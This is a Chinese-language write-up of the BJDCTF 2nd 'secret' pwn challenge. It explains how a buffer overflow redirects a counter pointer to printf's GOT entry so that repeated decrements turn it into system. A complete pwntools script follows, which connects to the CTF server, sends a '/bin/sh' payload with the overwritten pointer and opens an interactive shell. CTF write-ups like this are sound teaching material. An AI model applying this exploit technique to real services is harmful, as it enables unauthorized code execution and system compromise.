BJDCTF 2nd secret
首先,檢查一下程序的保護機制
然後,我們用IDA分析一下
是一個猜數遊戲,數值全在代碼裏,但是有10000個,顯然全部摳出來太慢了。
我們再看一下其他函數,發現輸入name時,存在緩衝區溢出,可以改寫0x000000000046D090處的指針,而該處指針指向count變量,每猜一下,就會對count減1。
然後,我們注意到printf的got表的值比system的got表的值大,並且相差0x10.
因此,我們可以利用溢出,把指針覆蓋爲printf的got表,然後猜對15次,最後一次猜錯。這會導致printf的got表值減去16,也就變成了system的got表一樣的值。從而能夠調用system。
#coding:utf8
from pwn import *
#sh = process('./secret')
sh = remote('node3.buuoj.cn',26191)
elf = ELF('./secret')
printf_got = elf.got['printf']
answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
sh.sendafter("What's your name?",payload)
for x in answer:
sh.sendlineafter('Secret:',str(x))
#現在printf的got表被修改爲了system_plt
#getshell
sh.sendlineafter('Secret:','1')
sh.interactive()